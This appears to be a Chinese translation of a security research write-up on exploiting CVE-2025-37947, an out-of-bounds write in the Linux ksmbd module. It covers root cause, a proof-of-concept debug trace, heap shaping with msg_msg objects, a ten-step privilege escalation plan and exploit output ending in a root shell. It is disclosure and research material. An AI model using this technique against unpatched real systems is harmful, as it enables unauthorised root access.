深入解析ksmbd漏洞CVE-2025-37947的利用技术

本文详细分析了ksmbd内核模块中的CVE-2025-37947漏洞,该漏洞存在于vfs_stream_write函数中,由于边界检查不当导致越界写入。文章完整展示了从漏洞分析、堆内存布局控制到最终实现本地权限提升的完整利用链,涉及SLUB分配器、消息队列和ROP链构建等技术。

ksmbd - 利用CVE-2025-37947漏洞(3/3)

08 Oct 2025 - 发布者:Norbert Szetei

引言

这是我们关于ksmbd的最后一篇文章。之前的文章请参阅第一部分和第二部分。

考虑到我们报告的所有已发现漏洞和概念验证利用程序,我们必须选择一些合适的候选漏洞进行利用。特别是,我们希望使用最近报告的漏洞,以避免降低我们的工作环境。

我们首先尝试了几个释放后使用(UAF)漏洞,因为这类漏洞在众多文章中已被证明几乎总是可利用的。然而,许多UAF漏洞需要竞争条件和特定时机,因此我们推迟了它们,转而选择具有更可靠或确定性利用路径的漏洞。

还有一些漏洞依赖于用户控制之外的因素,或者具有特殊行为。让我们首先看看CVE-2025-22041,我们最初打算使用它。由于缺少锁定,可能两次调用ksmbd_free_user函数:

1
2
3
4
5
6
7
void ksmbd_free_user(struct ksmbd_user *user)
{
    ksmbd_ipc_logout_request(user->name, user->flags);
    kfree(user->name);
    kfree(user->passkey);
    kfree(user);
}

在这种双重释放场景中,攻击者必须用另一个对象替换user->name,以便第二次释放它。问题在于kmalloc缓存大小取决于用户名的长度。如果用户名略长于8个字符,它将适合kmalloc-16而不是kmalloc-8,这意味着需要根据用户名长度使用不同的利用技术。

因此,我们决定研究CVE-2025-37947,它从一开始就显得很有希望。我们考虑通过将漏洞与信息泄露结合来进行远程利用,但我们缺乏诸如写入泄漏之类的原语,并且我们不知道在过去一年中是否报告过此类漏洞。即便如此,如前所述,我们将自己限制在我们发现的漏洞上。

仅此漏洞似乎就提供了绕过常见缓解措施(例如KASLR、SMAP、SMEP以及几个Ubuntu内核强化选项,如HARDENED_USERCOPY)所需的能力。因此,由于额外的时间限制,我们最终只专注于本地权限提升。请注意,在撰写本文时,我们在仍易受攻击的最新内核(5.15.0-153-generic)上的Ubuntu 22.04.5 LTS上实现了该利用程序。

根本原因分析

该发现要求在vfs objects配置选项中启用stream_xattr模块,并且可以由经过身份验证的用户触发。此外,必须在默认配置中添加一个可写共享,如下所示:

1
2
3
4
[share]
        path = /share
        vfs objects = streams_xattr
        writeable = yes

以下是易受攻击的代码,删除了一些不影响漏洞逻辑的不相关行:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// https://elixir.bootlin.com/linux/v5.15/source/fs/ksmbd/vfs.c#L411

static int ksmbd_vfs_stream_write(struct ksmbd_file *fp, char *buf, loff_t *pos,
                  size_t count)
{
    char *stream_buf = NULL, *wbuf;
    struct mnt_idmap *idmap = file_mnt_idmap(fp->filp);
    size_t size;
    ssize_t v_len;
    int err = 0;
    
    ksmbd_debug(VFS, "write stream data pos : %llu, count : %zd\n",
        *pos, count);

    size = *pos + count;
    if (size > XATTR_SIZE_MAX) { // [1]
        size = XATTR_SIZE_MAX;
        count = (*pos + count) - XATTR_SIZE_MAX;
    }

    wbuf = kvmalloc(size, GFP_KERNEL | __GFP_ZERO); // [2]
    stream_buf = wbuf;

    memcpy(&stream_buf[*pos], buf, count); // [3]

    // .. 截断 

    if (err < 0)
        goto out;

    fp->filp->f_pos = *pos;
    err = 0;
out:
    kvfree(stream_buf);
    return err;
}

扩展属性值的最大大小XATTR_SIZE_MAX为65536,或16页(0x10000),假设常见的页面大小为0x1000字节。我们可以在[1]处看到,如果countposition超过此值,则size被截断为0x10000,并在[2]处分配。

因此,我们可以将position设置为0x10000,count设置为0x8,而memcpy(stream_buf[0x10000], buf, 8)将在[3]处越界写入8字节的用户控制数据。请注意,我们可以移动position以控制偏移量,例如使用值0x10010在偏移量16处写入。但是,我们复制的字节数(count)也会增加16,因此我们最终复制24字节,可能破坏更多数据。根据我们可以实现的对齐方式,这通常是不希望的。

概念验证

为了证明该漏洞是可触发的,我们编写了一个最小概念验证(PoC)。此PoC仅触发漏洞 - 它不会提升权限。此外,在将/proc/pagetypeinfo的权限更改为非特权用户可读后,它可以用于确认缓冲区分配顺序。PoC代码通过libsmb2库使用smbuser/smbpassword凭据进行身份验证,并使用与连接相同的套接字发送具有用户控制属性的vfs流数据。

具体来说,我们将file_offset设置为0x0000010018ULL,将length_wr设置为8,写入32字节,填充0xaa0xbb模式以便于识别。

如果我们运行PoC,打印分配地址并在memcpy处中断,我们可以确认越界写入:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
(gdb) c
Continuing.
ksmbd_vfs_stream_write+310 allocated: ffff8881056b0000

Thread 2 hit Breakpoint 2, 0xffffffffc06f4b39 in memcpy (size=32, 
    q=0xffff8881031b68fc, p=0xffff8881056c0018)
    at /build/linux-eMJpOS/linux-5.15.0/include/linux/fortify-string.h:191
warning: 191 /build/linux-eMJpOS/linux-5.15.0/include/linux/fortify-string.h: No such file or directory
(gdb) x/2xg $rsi
0xffff8881031b68fc:  0xaaaaaaaaaaaaaaaa  0xbbbbbbbbbbbbbbbb

用于kvzalloc的堆塑造

在Linux上,物理内存以页(通常为4KB)为单位进行管理,页分配器(伙伴分配器)将它们组织成称为阶数的2的幂块。阶数0是单个页,阶数1是2个连续页,阶数2是4页,依此类推。这使内核能够高效地分配和合并连续页块。

考虑到这一点,我们必须仔细研究如何通过kvzalloc分配内存。该函数只是kvmalloc的一个包装器,返回一个归零的页:

1
2
3
4
5
// https://elixir.bootlin.com/linux/v5.15/source/include/linux/mm.h#L811
static inline void *kvzalloc(size_t size, gfp_t flags)
{
    return kvmalloc(size, flags | __GFP_ZERO);
}

然后该函数调用kvmalloc_node,尝试使用kmalloc分配物理连续内存,如果失败,则回退到vmalloc以获得仅需要虚拟连续的内存。我们并未尝试创建内存压力来利用后一种分配机制,因此我们可以假设该函数的行为类似于kmalloc()

由于Ubuntu默认使用SLUB分配器进行kmalloc,它接着调用__kmalloc_node。该函数通过kmalloc_caches使用具有阶数1页的分配,因为KMALLOC_MAX_CACHE_SIZE的值为8192。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// https://elixir.bootlin.com/linux/v5.15/source/mm/slub.c#L4424
void *__kmalloc_node(size_t size, gfp_t flags, int node)
{
    struct kmem_cache *s;
    void *ret;

    if (unlikely(size > KMALLOC_MAX_CACHE_SIZE)) {
        ret = kmalloc_large_node(size, flags, node);

        trace_kmalloc_node(_RET_IP_, ret,
                   size, PAGE_SIZE << get_order(size),
                   flags, node);

        return ret;
    }

    s = kmalloc_slab(size, flags);

    if (unlikely(ZERO_OR_NULL_PTR(s)))
        return s;

    ret = slab_alloc_node(s, flags, node, _RET_IP_, size);

    trace_kmalloc_node(_RET_IP_, ret, size, s->size, flags, node);

    ret = kasan_kmalloc(s, ret, size, flags);

    return ret;
}

对于任何更大的分配,Linux内核直接使用页分配器获取页:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
// https://elixir.bootlin.com/linux/v5.15/source/mm/slub.c#L4407
#ifdef CONFIG_NUMA
static void *kmalloc_large_node(size_t size, gfp_t flags, int node)
{
    struct page *page;
    void *ptr = NULL;
    unsigned int order = get_order(size);

    flags |= __GFP_COMP;
    page = alloc_pages_node(node, flags, order);
    if (page) {
        ptr = page_address(page);
        mod_lruvec_page_state(page, NR_SLAB_UNRECLAIMABLE_B,
                      PAGE_SIZE << order);
    }

    return kmalloc_large_node_hook(ptr, size, flags);
}

因此,由于我们需要请求16页,我们正在处理伙伴分配器页塑造,并且我们的目标是溢出跟随阶数4分配的内存。问题是我们可以在那里放置什么以及如何确保正确定位。

一个关键约束是memcpy()在分配后立即发生。这排除了分配后进行喷洒的可能性。因此,我们必须提前在内存中创建一个16页的连续空闲空间,以便kvzalloc()stream_buf放置在该区域中。这样,越界写入就会命中一个受控且有用的目标对象。

内核内存中可以分配各种对象,但最常见的对象使用kmalloc缓存。因此我们调查了哪些可能是一个好的选择,其中阶数值表示用于保存这些对象的slab的分配页阶数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
$ for i in /sys/kernel/slab/*/order; do \
    sudo cat $i | tr -d '\n'; echo " -> $i"; \
done | sort -rn | head 

3 -> /sys/kernel/slab/UDPv6/order
3 -> /sys/kernel/slab/UDPLITEv6/order
3 -> /sys/kernel/slab/TCPv6/order
3 -> /sys/kernel/slab/TCP/order
3 -> /sys/kernel/slab/task_struct/order
3 -> /sys/kernel/slab/sighand_cache/order
3 -> /sys/kernel/slab/sgpool-64/order
3 -> /sys/kernel/slab/sgpool-128/order
3 -> /sys/kernel/slab/request_queue/order
3 -> /sys/kernel/slab/net_namespace/order

我们看到页分配器最多使用阶数3页。基于此,我们选择了kmalloc-cg-4k(输出中未显示),我们可以轻松地进行喷洒。它在实现各种利用原语(如任意读取、写入,甚至在某些情况下的UAF)方面非常通用。

在尝试了阶数3页分配并检查/proc/pagetypeinfo后,我们确认每个区域、每个阶数有5个空闲列表。在我们的例子中,使用了普通区域,而GFP_KERNEL偏好不可移动的迁移类型,因此我们可以忽略其他类型:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ sudo cat /proc/pagetypeinfo 
Page block order: 9
Pages per block:  512

Free pages count per migrate type at order       0    1   2   3   4   5   6   7   8   9   10
Node    0, zone      DMA, type    Unmovable     0    0   0   0   0   0   0   0   0   0    0
Node    0, zone      DMA, type      Movable     0    0   0   0   0   0   0   0   0   1    3
Node    0, zone      DMA, type  Reclaimable     0    0   0   0   0   0   0   0   0   0    0
Node    0, zone      DMA, type   HighAtomic     0    0   0   0   0   0   0   0   0   0    0
Node    0, zone      DMA, type      Isolate     0    0   0   0   0   0   0   0   0   0    0
Node    0, zone    DMA32, type    Unmovable     0    0   0   0   0   0   0   1   0   1    0
Node    0, zone    DMA32, type      Movable     2    2   1   1   0   3   3   3   2   3  730
Node    0, zone    DMA32, type  Reclaimable     0    0   0   0   0   0   0   0   0   0    0
Node    0, zone    DMA32, type   HighAtomic     0    0   0   0   0   0   0   0   0   0    0
Node    0, zone    DMA32, type      Isolate     0    0   0   0   0   0   0   0   0   0    0
Node    0, zone   Normal, type    Unmovable    69   30   7   9   3   1  30  63  37  28   36
Node    0, zone   Normal, type      Movable    37    7   3   5   5   3   5   2   2   4 1022
Node    0, zone   Normal, type  Reclaimable     3    2   1   2   1   0   0   0   0   1    0
Node    0, zone   Normal, type   HighAtomic     0    0   0   0   0   0   0   0   0   0    0
Node    0, zone   Normal, type      Isolate     0    0   0   0   0   0   0   0   0   0    0

Number of blocks type     Unmovable      Movable  Reclaimable   HighAtomic      Isolate 
Node 0, zone      DMA            1            7            0            0            0 
Node 0, zone    DMA32            2         1526            0            0            0 
Node 0, zone   Normal          182         2362           16            0            0

输出显示阶数3有9个空闲元素,阶数4有3个。通过调用kvmalloc(0x10000, GFP_KERNEL | __GFP_ZERO),我们可以再次检查阶数4元素的数量是否减少。我们可以比较分配之前和之后的状态:

1
2
3
Free pages count per migrate type at order       0    1    2   3  4  5  6   7   8   9  10
Node    0, zone   Normal, type    Unmovable   843  592  178  14  6  7  4  47  45  26  32 
Node    0, zone   Normal, type    Unmovable   843  592  178  14  5  7  4  47  45  26  32

当分配器耗尽阶数3和阶数4块时,它开始拆分更高阶的块 - 例如阶数5 - 以满足新的请求。这种拆分是递归的,一个阶数5块变成两个阶数4块,如果需要,其中一个会再次拆分。

在我们的场景中,一旦我们耗尽了所有阶数3和阶数4空闲列表条目,分配器就会拉取一个阶数5块。一半被拆分以满足较低阶的分配 - 我们的目标阶数3对象。另一半仍然是一个空闲的阶数4块,稍后可以被kvzalloc用于stream_buf

尽管这种布局不能保证,但在重复几次之后,它给我们提供了相对较高的概率,使得stream_buf分配直接位于阶数3对象之后,允许我们通过越界写入破坏其内存。

通过分配1024条消息(msg_msg),消息大小为4096以适合kmalloc-cg-4k,我们获得了以下以stream_buf0xffff8881117b0000为中心的布局,其中红色条带标记目标页,蓝色代表msg_msg对象:

![内存布局示意图]

当我们放大时,我们确认确实可以将stream_buf放置在一条消息之前:

![详细内存布局]

请注意,通过接收消息并创建空洞,覆盖受害对象的概率显著提高。然而,在我们的结果中,少数情况下 - 不到10% - 利用失败。

当我们覆盖不同的对象时,可能会发生这种情况,具体取决于ksmbd或外部进程的状态。不幸的是,这也有可能(有一定概率)导致内核恐慌。

利用策略

在能够触发越界写入后,本地提升权限变得几乎 straightforward。我们尝试了几种方法,例如破坏分段msg_msg中的下一个指针,此处有详细描述。然而,使用这种方法没有简单的方法来获取KASLR泄漏,并且我们不想依赖诸如Retbleed之类的侧信道攻击。因此,我们必须重新审视我们的策略。

来自近乎规范的文章CVE-2021-22555: Turning \x00\x00 into 10000$的策略是最合适的。因为我们覆盖的是物理页而不是Slab对象,所以我们不必处理由accounting引入的跨缓存攻击,并且利用后阶段只需要少量修改。

首先,我们通过bpf脚本确认分配的地址,以确保地址正确对齐。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
$ sudo ./bpf-tracer.sh
...
$ grep 4048 out-4096.txt  | egrep ".... total" -o | sort | uniq -c
    511 0000 total
    510 1000 total
    511 2000 total
    512 3000 total
    511 4000 total
    511 5000 total
    511 6000 total
    511 7000 total
    513 8000 total
    513 9000 total
    513 a000 total
    513 b000 total
    513 c000 total
    513 d000 total
    513 e000 total
    513 f000 total

我们选择通过\x05\x00覆盖两个较低有效字节来创建冲突是有些任意的。之后,我们只是重新实现了所有阶段,甚至能够找到类似的ROP gadget进行栈旋转。

我们强烈建议阅读原始文章以使所有步骤清晰,因为它提供了我们不想在此重复的缺失信息。

有了这些,利用流程如下:

  1. 在内核中分配许多msg_msg对象。
  2. 在ksmbd中触发越界写入以分配stream_buf,并覆盖主消息的下一个指针,使得两个主消息指向同一个辅助消息。
  3. 通过标记每条消息及其队列索引,并使用msgrcv(MSG_COPY)扫描队列以查找不匹配的标签,来检测损坏的对。
  4. 释放真实的辅助消息(来自真实队列)以创建释放后使用 - 假队列仍持有指向已释放缓冲区的陈旧指针。
  5. 通过UNIX套接字在已释放的槽上喷洒用户空间对象,以便我们可以通过制作假的msg_msg用受控数据回收已释放的内存。
  6. 滥用m_ts泄漏内核内存:制作假的msg_msg,使得copy_msg返回比预期更多的数据,并读取相邻的头部和指针以泄漏内核堆地址用于mlist.nextmlist.prev
  7. 借助sk_buff喷洒,重建具有正确mlist.nextmlist.prev的假msg_msg,以便它可以正常取消链接和释放。
  8. 喷洒并回收该UAF与struct pipe_buffer对象,以便我们可以泄漏anon_pipe_buf_ops并计算内核基址以绕过KASLR。
  9. 通过第二次喷洒skbuff来创建假的pipe_buf_operations结构,其中释放操作指针指向精心制作的gadget序列。
  10. 通过关闭管道触发释放回调 - 这启动了带有栈旋转的ROP链。

最终利用程序

最终的利用程序可在此处获得,需要多次尝试:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
...
[+] STAGE 1: Memory corruption
[*] Spraying primary messages...
[*] Spraying secondary messages...
[*] Creating holes in primary messages...
[*] Triggering out-of-bounds write...
[*] Searching for corrupted primary message...
[-] Error could not corrupt any primary message.
[ ] Attempt: 3

[+] STAGE 1: Memory corruption
[*] Spraying primary messages...
[*] Spraying secondary messages...
[*] Creating holes in primary messages...
[*] Triggering out-of-bounds write...
[*] Searching for corrupted primary message...
[+] fake_idx: 1a00
[+] real_idx: 1a08

[+] STAGE 2: SMAP bypass
[*] Freeing real secondary message...
[*] Spraying fake secondary messages...
[*] Leaking adjacent secondary message...
[+] kheap_addr: ffff8f17c6e88000
[*] Freeing fake secondary messages...
[*] Spraying fake secondary messages...
[*] Leaking primary message...
[+] kheap_addr: ffff8f17d3bb5000

[+] STAGE 3: KASLR bypass
[*] Freeing fake secondary messages...
[*] Spraying fake secondary messages...
[*] Freeing sk_buff data buffer...
[*] Spraying pipe_buffer objects...
[*] Leaking and freeing pipe_buffer object...
[+] anon_pipe_buf_ops: ffffffffa3242700
[+] kbase_addr: ffffffffa2000000
[+] leaked kslide: 21000000

[+] STAGE 4: Kernel code execution
[*] Releasing pipe_buffer objects...
[*] Returned to userland
# id
uid=0(root) gid=0(root) groups=0(root)
# uname -a
Linux target22 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux

请注意,可靠性仍然可以提高,因为我们没有尝试找到用于损坏的喷洒和释放对象数量的最优值。我们通过实验得出了这些值,并获得了令人满意的结果。

结论

我们成功演示了在最新Ubuntu 22.04 LTS上使用默认配置并启用ksmbd服务时,ksmbd中漏洞的可利用性。还开发了一个完整的利用程序来实现本地root权限提升。

ksmbd_vfs_stream_write()中的一个缺陷允许在pos超过XATTR_SIZE_MAX时进行越界写入,从而能够破坏带有内核对象的相邻页。本地利用可以可靠地提升权限。远程利用则更具挑战性:攻击者将受限于ksmbd暴露的代码路径和对象,并且成功的远程攻击还需要信息泄漏来击败KASLR并使堆塑造可靠。

参考文献

  • Andy Nguyen - CVE-2021-22555: Turning \x00\x00 into 10000$
  • Matthew Ruffell - Looking at kmalloc() and the SLUB Memory Allocator
  • sam4k - Linternals series (Memory Allocators/Memory Management)
  • corCTF 2021 Fire of Salvation Writeup: Utilizing msg_msg Objects for Arbitrary Read and Arbitrary Write in the Linux Kernel
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计